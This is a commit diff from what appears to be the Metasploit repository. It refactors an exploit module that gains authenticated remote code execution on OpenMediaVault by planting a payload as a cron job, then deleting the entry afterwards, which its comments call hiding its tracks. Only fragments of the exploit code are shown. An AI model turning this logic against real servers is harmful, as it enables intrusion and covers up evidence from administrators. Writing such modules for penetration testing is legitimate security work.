Skip to content

Commit 7ad1526

Browse files
committed
Addressed two more review comments
1 parent 594de46 commit 7ad1526

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/exploits/multi/http/openmediavault_auth_cron_rce.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,10 @@ def pass
8484
datastore['PASSWORD']
8585
end
8686

87+
def rpc_success?(res)
88+
res&.code == 200 && res.body.include?('"error":null')
89+
end
90+
8791
def login(user, pass)
8892
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
8993
res = send_request_cgi({
@@ -120,7 +124,7 @@ def check_version
120124
}
121125
}.to_json
122126
})
123-
return nil unless res && res.code == 200 && res.body.include?('"error":null')
127+
return nil unless rpc_success?(res)
124128

125129
# parse json response and get the version
126130
res_json = res.get_json_document
@@ -135,7 +139,7 @@ def check_version
135139

136140
def apply_config_changes
137141
# Apply OpenMediaVault configuration changes
138-
return send_request_cgi({
142+
send_request_cgi({
139143
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
140144
'method' => 'POST',
141145
'ctype' => 'application/json',
@@ -193,7 +197,7 @@ def execute_command(cmd, _opts = {})
193197
'keep_cookies' => true,
194198
'data' => post_data
195199
})
196-
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
200+
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)
197201

198202
# parse json response and get the uuid of the cron entry
199203
# we need this later to clean up and hide our tracks
@@ -222,10 +226,10 @@ def on_new_session(_session)
222226
options: nil
223227
}.to_json
224228
})
225-
if res && res.code == 200 && res.body.include?('"error":null')
229+
if rpc_success?(res)
226230
# Apply changes and update cron configuration to remove the payload entry
227231
res = apply_config_changes
228-
if res && res.code == 200 && res.body.include?('"error":null')
232+
if rpc_success?(res)
229233
print_good('Cron payload entry successfully removed.')
230234
else
231235
print_warning('Cannot apply the cron changes to remove the payload entry.')

0 commit comments

Comments
 (0)